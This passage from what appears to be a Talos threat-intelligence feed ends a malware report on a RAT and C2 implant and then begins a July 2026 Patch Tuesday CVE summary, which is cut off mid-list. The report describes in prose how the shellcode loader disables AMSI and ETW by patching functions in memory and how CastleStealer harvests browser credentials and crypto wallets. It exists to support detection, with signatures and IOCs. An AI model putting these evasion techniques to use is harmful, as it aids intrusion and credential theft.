alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="1750" height="1422" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/backdoor-2.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/backdoor-2.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/backdoor-2.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/backdoor-2.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 19.&#xA0;Snippet of WLDR agent C2 handshake function.</span></figcaption></figure><p>After&#xA0;establishing&#xA0;the initial connection with the C2, the agent polls the C2 server every 10 seconds. The response from the C2 server can include either commands or tasks, with the only hardcoded command in the agent&#xA0;being&#xA0;a kill instruction that triggers instance termination, while tasks are queued for execution.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/backdoor-3.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="1750" height="2582" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/backdoor-3.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/backdoor-3.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/backdoor-3.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/backdoor-3.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;20.&#xA0;Snippet of WLDR agent&#x2019;s C2 polling function.&#xA0;</span></figcaption></figure><p>During our research, we&#xA0;observed&#xA0;that the&#xA0;initial&#xA0;response from the C2 was the idle polling interval response, which included empty fields in both the &#x201C;commands&#x201D; and &#x201C;tasks&#x201D; arrays.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Polling_response.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="1750" height="742" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Polling_response.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Polling_response.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/Polling_response.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Polling_response.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;21.&#xA0;Initial WLDR agent polling response from the C2. </span></figcaption></figure><p>Further analysis of the&#xA0;agent&#xA0;program&#xA0;disclosed&#xA0;that the C2 responses&#xA0;to the polling will&#xA0;contain&#xA0;encrypted PowerShell&#xA0;commands or&#xA0;scripts,&#xA0;which&#xA0;are decrypted using the same hardcoded password&#xA0;and executed&#xA0;through one of the two runtime engines&#xA0;defined in&#xA0;the backdoor&#xA0;program.&#xA0;&#xA0;</p><p>The primary&#xA0;agent execution&#xA0;engine is a PowerShell&#xA0;RunspacePool&#xA0;supporting&#xA0;up to&#xA0;10 concurrent threads.&#xA0;Each PowerShell script payload delivered by the C2 is wrapped with&#xA0;details of execution context and parameters as in scope variables along with event handlers on&#xA0;the script&#x2019;s execution&#xA0;result of&#xA0;output,&#xA0;error,and warnings.&#xA0;These event handlers registered on the output, error,&#xA0;and warning streams are triggered synchronously&#xA0;as the script execution output is produced, packaging results into stream messages and forwards them to the C2 in real time&#xA0;without waiting for the script execution completion.&#xA0;&#xA0;</p><p>This message streaming capability makes the&#xA0;WLDR agent&#x2019;s&#xA0;Runspace&#xA0;engine&#xA0;favorable&#xA0;for the interactive operations such as&#xA0;continuous&#xA0;monitoring where the command output reaches the threat actor incrementally,&#xA0;rather&#xA0;than after the completion of the script execution.&#xA0;&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/backdoor-5.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="2303" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/backdoor-5.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/backdoor-5.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/backdoor-5.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w2400/2026/07/backdoor-5.png 2400w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;22.&#xA0;WLDR agent function of handling the&#xA0;Runspace&#xA0;engine.&#xA0;</span></figcaption></figure><p>If the&#xA0;Runspace&#xA0;engine&#xA0;fails to&#xA0;initialize the payload, PowerShell script execution defaults to standard PowerShell background jobs. It injects parameters and launches the script as a background job; however, unlike the&#xA0;Runspace&#xA0;path, it collects output only after the job completes, making it suitable only for short-lived batch tasks.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/backdoor-6.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="2435" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/backdoor-6.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/backdoor-6.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/backdoor-6.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/backdoor-6.png 2154w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;23.&#xA0;WLDR agent PowerShell job execution handlers.&#xA0;</span></figcaption></figure><h2 id="other-payloads-of-starland-rat-campaign">Other payloads of Starland RAT campaign&#xA0;</h2><p>Talos has discovered that the threat actor&#xA0;possesses&#xA0;additional&#xA0;malware, including&#xA0;CastleStealer&#xA0;and&#xA0;Remcos&#xA0;RAT, which can be deployed as payloads to the victim&apos;s machine via the Starland RAT. To deliver these payloads, the threat actor&#xA0;utilizes&#xA0;a custom shellcode loader for both x64 and x32 machines, encapsulating the embedded encrypted binaries of the payloads.&#xA0;</p><p>The shellcode loader resolves all required Windows APIs entirely at runtime by&#xA0;enumerating&#xA0;the list of loaded modules in the&#xA0;OS&#xA0;memory, iterating through each module&apos;s export directory, and comparing a hash of each function name against stored target values. The shellcode neutralizes both the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) through two sequential bypass mechanisms. The primary technique resolves the target functions <code>AmsiScanBuffer</code>&#xA0;in&#xA0;&#x201C;amsi.dll&#x201D;&#xA0;and&#xA0;<code>EtwEventWrite</code>&#xA0;in&#xA0;&#x201C;ntdll.dll&#x201D;&#xA0;using runtime hash-based API resolution, then overwrites their first bytes in memory with a patch that forces AMSI to always return a clean scan result and the ETW write function to return immediately without writing the output, effectively neutralizing both interfaces. If the primary patching technique fails, the shellcode executes a fallback mechanism where it calls&#xA0;VirtualProtect&#xA0;to temporarily change the target function&apos;s memory page protection value to read-write-execute and writes the same patch bytes directly, then restores the original page protection.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Shellcode-1.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="1261" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Shellcode-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Shellcode-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/Shellcode-1.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Shellcode-1.png 2116w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 24.&#xA0;Shellcode snippet of instructions for AMSI bypass.&#xA0;</span></figcaption></figure><p>Then, it decrypts the embedded encrypted payload blob and decompresses the decrypted data using LZX decompression into a newly&#xA0;allocated&#xA0;memory region. The payload is&#xA0;subsequently&#xA0;dispatched either by the reflective PE injection technique or by .NET CLR loading through the&#xA0;ICorRuntimeHost&#xA0;COM interface for .NET binaries, or through the PowerShell&#xA0;Runspace&#xA0;for PowerShell scripts.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Shellcode-2.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="801" height="1220" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Shellcode-2.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Shellcode-2.png 801w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 25.&#xA0;Shellcode snippet of decryption function and decrypted payload in memory.&#xA0;</span></figcaption></figure><p>Talos discovered that the threat actor&#xA0;can deliver&#xA0;CastleStealer&#xA0;implant&#xA0;through the x64 shellcode and the&#xA0;Remcos&#xA0;RAT through the x32 shellcode variant.&#xA0;&#xA0;</p><p>CastleStealer&#xA0;is a .NET-based infostealer and credential harvesting implant designed to systematically extract sensitive data from compromised Windows hosts. It incorporates several anti-analysis measures,&#xA0;including a Russian locale exclusion check and a hardcoded build expiry timestamp, ensuring it executes only against genuine targets within a defined operational window. Its credential theft surface is broad, targeting the full Chromium browser family and Firefox through direct SQLite database access, with decryption support for both legacy DPAPI-protected credentials and the AES-GCM application&#xA0;bound encryption scheme. Beyond browser data, it&#xA0;enumerates&#xA0;crypto wallet browser extensions, Discord and Telegram session files, Steam account credentials, and targeted filesystem paths, transmitting all collected material over a TCP socket to&#xA0;the attacker-controlled infrastructure.&#xA0;CastleStealer&#x2019;s&#xA0;secondary payload delivery capability allows the&#xA0;actor&#xA0;to&#xA0;implant further payloads&#xA0;through process injection&#xA0;technique&#xA0;or PowerShell&#xA0;script&#xA0;execution.&#xA0;&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/data-src-image-dfd24394-758c-4401-9cd5-1443c75d2239.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="624" height="407" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/data-src-image-dfd24394-758c-4401-9cd5-1443c75d2239.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/data-src-image-dfd24394-758c-4401-9cd5-1443c75d2239.png 624w"><figcaption><span style="white-space: pre-wrap;">Figure 26.&#xA0;Snippet of&#xA0;CastleStealer&#xA0;malware&#xA0;function.&#xA0;</span></figcaption></figure><p>Remcos&#xA0;RAT (Remote Control and Surveillance) is a&#xA0;commercial&#xA0;remote access tool originally&#xA0;sold&#xA0;as a legitimate remote administration tool. However, it has been&#xA0;extensively abused by&#xA0;a wide range of&#xA0;threat actors&#xA0;since its emergence in 2016. It provides operators with&#xA0;comprehensive post-exploitation capabilitiesincluding real-time keylogging, screen and webcam capture, audio recording, file management, shell command execution, and clipboard&#xA0;monitoring&#xA0;all&#xA0;communicated over an encrypted channel to a configurable C2 server.&#xA0;&#xA0;</p><h2 id="coverage">Coverage&#xA0;</h2><p>The following ClamAV signature detects and blocks this threat:&#xA0;</p><p>Txt.Downloader.Agent-10060312-0<br>Html.Downloader.Agent-10060313-0<br>Html.Downloader.Agent-10060314-0<br>Py.Loader.Agent-10060315-0<br>Py.Loader.Agent-10060316-0<br>Ps1.Trojan.Agent-10060317-0<br>Ps1.Trojan.Agent-10060318-0<br>Ps1.Trojan.WLDRAgent-10060319-0<br>Ps1.Downloader.Agent-10060320-0<br>Win.Trojan.CastleStealer-10060341-0<br>Win.Trojan.Starland_Installer-10060342-0<br>Win.Malware.Starland-10060343-0<br>Win.Malware.Remka-10060344-0</p><p>The following Snort Rules&#xA0;Snort 2 and Snort 3&#xA0;(SIDs)&#xA0;to&#xA0;detect and block this threat:&#xA0;66787 &#x2013; 66790 and 301580&#xA0;&#xA0;</p><h2 id="iocs">IOCs</h2><p>The IOCs for this threat are also available at our GitHub repository&#xA0;<a href="https://github.com/Cisco-Talos/IOCs/blob/main/2026/07/new-starland-rat-and-WLDR-implant-campaign.txt" rel="noreferrer noopener"><u>here</u></a>.&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[Microsoft Patch Tuesday for July 2026 — Snort rules and prominent vulnerabilities]]></title><description><![CDATA[Microsoft has released its monthly security update for July 2026, which includes 622 vulnerabilities affecting a range of products, including 57 that Microsoft marked as "critical."]]></description><link>https://blog.talosintelligence.com/microsoft-patch-tuesday-july-2026/</link><guid isPermaLink="false">6a5699a03080bb0001373651</guid><category><![CDATA[Patch Tuesday]]></category><dc:creator><![CDATA[Cisco Talos]]></dc:creator><pubDate>Tue, 14 Jul 2026 20:27:33 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/patch_tuesday.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/patch_tuesday.png" alt="Microsoft Patch Tuesday for July 2026 &#x2014; Snort rules and prominent vulnerabilities"><p>Microsoft has released its monthly security update for July 2026, which includes 622 vulnerabilities affecting a range of products, including 57 that Microsoft marked as &quot;critical.&quot;</p><p>Microsoft notes that two of the vulnerabilities disclosed this month have been exploited in the wild.</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155</a> is an important-severity elevation of privilege vulnerability in Active Directory Federation Services (AD FS) caused by insufficient granularity of access control. An authorized attacker could use it to elevate privileges locally.</p><p><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a> is a moderate-severity vulnerability in Microsoft SharePoint Server caused by missing authentication for a critical function. An unauthorized attacker could exploit it to perform spoofing over a network.</p><p>The 57 &quot;critical&quot; entries break down by vulnerability type as follows: 48 remote code execution (RCE), seven elevation of privilege (EoP), 1 spoofing and 1 security feature bypass vulnerability.</p><p>The 48 critical RCE vulnerabilities affect a range of Microsoft Windows services and applications, including Windows Media and Media Foundation, the Windows DHCP client and DHCP Server service, Microsoft Office, Word, Excel and PowerPoint, Windows GDI and GDI+, the DirectX Graphics Kernel, Microsoft SharePoint, Microsoft SQL Server, the Windows Reliable Multicast Transport Driver (RMCAST), Windows TCP/IP, the Windows Server Network driver, the Windows Print Spooler, the Windows Secure Socket Tunneling Protocol (SSTP), Windows Active Directory Domain Services, Microsoft Defender, Microsoft Copilot, Microsoft Message Queuing (MSMQ), the Remote Desktop Client, Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (on-premises), and the Minecraft Bedrock Dedicated Server.</p><p>Eleven of the critical RCE vulnerabilities are rated &quot;more likely&quot; to be exploited. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370">CVE-2026-50370</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518">CVE-2026-50518</a> are heap-based buffer overflows in the Windows DHCP Server service, exploitable by an unauthorized attacker over an adjacent network and over a network, respectively. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128">CVE-2026-54128</a> is a use-after-free in the Windows DHCP client that allows an unauthorized attacker to execute code locally. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327">CVE-2026-50327</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655">CVE-2026-50655</a> are heap-based buffer overflows in Windows Media and Windows Media Foundation. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992">CVE-2026-54992</a> is a heap-based buffer overflow in the Microsoft Message Queuing Queue Manager. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188">CVE-2026-56188</a> is a race condition in the Windows Server Network driver, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010">CVE-2026-55010</a> is a heap-based buffer overflow in the Minecraft Bedrock Dedicated Server that an unauthorized attacker could exploit over a network. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522">CVE-2026-50522</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644">CVE-2026-58644</a> are deserialization vulnerabilities in Microsoft SharePoint that allow an unauthorized attacker to execute code over a network. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944">CVE-2026-55944</a> is a deserialization vulnerability in Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (on-premises) that allows an unauthorized attacker to execute code over a network.</p><p>The remaining critical RCE vulnerabilities are rated &quot;less likely&quot; or &quot;unlikely&quot; to be exploited, or were not assigned an exploitation-likelihood rating by Microsoft. Microsoft Office and its applications account for a large share: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314">CVE-2026-50314</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467">CVE-2026-50467</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018">CVE-2026-55018</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022">CVE-2026-55022</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045">CVE-2026-55045</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049">CVE-2026-55049</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056">CVE-2026-55056</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129">CVE-2026-55129</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140">CVE-2026-55140</a> are in Microsoft Office; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033">CVE-2026-55033</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127">CVE-2026-55127</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132">CVE-2026-55132</a> are in Microsoft Word; and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043">CVE-2026-55043</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120">CVE-2026-55120</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123">CVE-2026-55123</a> are in Microsoft PowerPoint. These are typically triggered by opening a specially crafted document.</p><p>The remaining critical RCE vulnerabilities affect Windows Media and Media Foundation (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189">CVE-2026-56189</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087">CVE-2026-57087</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090">CVE-2026-57090</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094">CVE-2026-57094</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542">CVE-2026-58542</a>), the Windows DHCP Server service (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564">CVE-2026-48564</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159">CVE-2026-56159</a>), Windows GDI+ and GDI (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796">CVE-2026-49796</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380">CVE-2026-50380</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122">CVE-2026-54122</a>), the DirectX Graphics Kernel (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382">CVE-2026-50382</a>), the Remote Desktop Client (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474">CVE-2026-50474</a>), Microsoft SQL Server (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a>), the Windows Reliable Multicast Transport Driver (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982">CVE-2026-54982</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995">CVE-2026-54995</a>), Windows TCP/IP (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999">CVE-2026-54999</a>), the Windows Print Spooler (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608">CVE-2026-58608</a>), the Windows SSTP (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694">CVE-2026-50694</a>), Windows Active Directory Domain Services (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>), Microsoft Defender (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011">CVE-2026-55011</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012">CVE-2026-55012</a>) and Microsoft Copilot (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561">CVE-2026-48561</a>).</p><p>The seven critical elevation of privilege vulnerabilities are <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982">CVE-2026-42982</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392">CVE-2026-50392</a> in Windows Secure Kernel Mode; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444">CVE-2026-50444</a> in the Windows Server Update Service (WSUS); <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680">CVE-2026-50680</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127">CVE-2026-54127</a> in Windows Hyper-V; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a> in Active Directory Certificate Services; and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a> in Microsoft Windows VMSwitch.</p><p>The single critical spoofing vulnerability is <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a> in Microsoft Exchange Server, caused by a cross-site scripting condition. The single critical security feature bypass is <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040">CVE-2026-55040</a> in Microsoft SharePoint Server, caused by weak authentication. Both are rated &quot;more likely&quot; to be exploited.</p><p>Several of the critical entries above &#x2014; including the Copilot, Azure Synapse, Azure OpenAI, Exchange Online and Entra items &#x2014; affect Microsoft cloud services, for which Microsoft has not assigned an exploitation-likelihood rating.</p><p>Talos would also like to highlight the following &quot;important&quot; vulnerabilities as Microsoft has determined that their exploitation is &quot;more likely:&quot;</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170">CVE-2026-49170</a>: Windows StateRepository API Server file Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795">CVE-2026-49795</a>: Windows Kernel Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798">CVE-2026-49798</a>: Windows Kernel Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805">CVE-2026-49805</a>: Win32k Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297">CVE-2026-50297</a>: Win32k Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325">CVE-2026-50325</a>: Win32k Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329">CVE-2026-50329</a>: Microsoft DWM Core Library Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332">CVE-2026-50332</a>: Windows Kernel Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343">CVE-2026-50343</a>: Microsoft Install Service Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351">CVE-2026-50351</a>: Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375">CVE-2026-50375</a>: DirectX Graphics Kernel Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387">CVE-2026-50387</a>: Windows GDI Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390">CVE-2026-50390</a>: Windows Kernel Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423">CVE-2026-50423</a>: Windows Kernel Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433">CVE-2026-50433</a>: Windows Media Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436">CVE-2026-50436</a>: Windows Kernel Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454">CVE-2026-50454</a>: Windows User Interface Core Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475">CVE-2026-50475</a>: Windows Kernel Information Disclosure Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476">CVE-2026-50476</a>: Windows Network Connections Service Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489">CVE-2026-50489</a>: Win32k Elevation of Privilege Vulnerability</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509">CVE-2026-50509</a>: Wireless 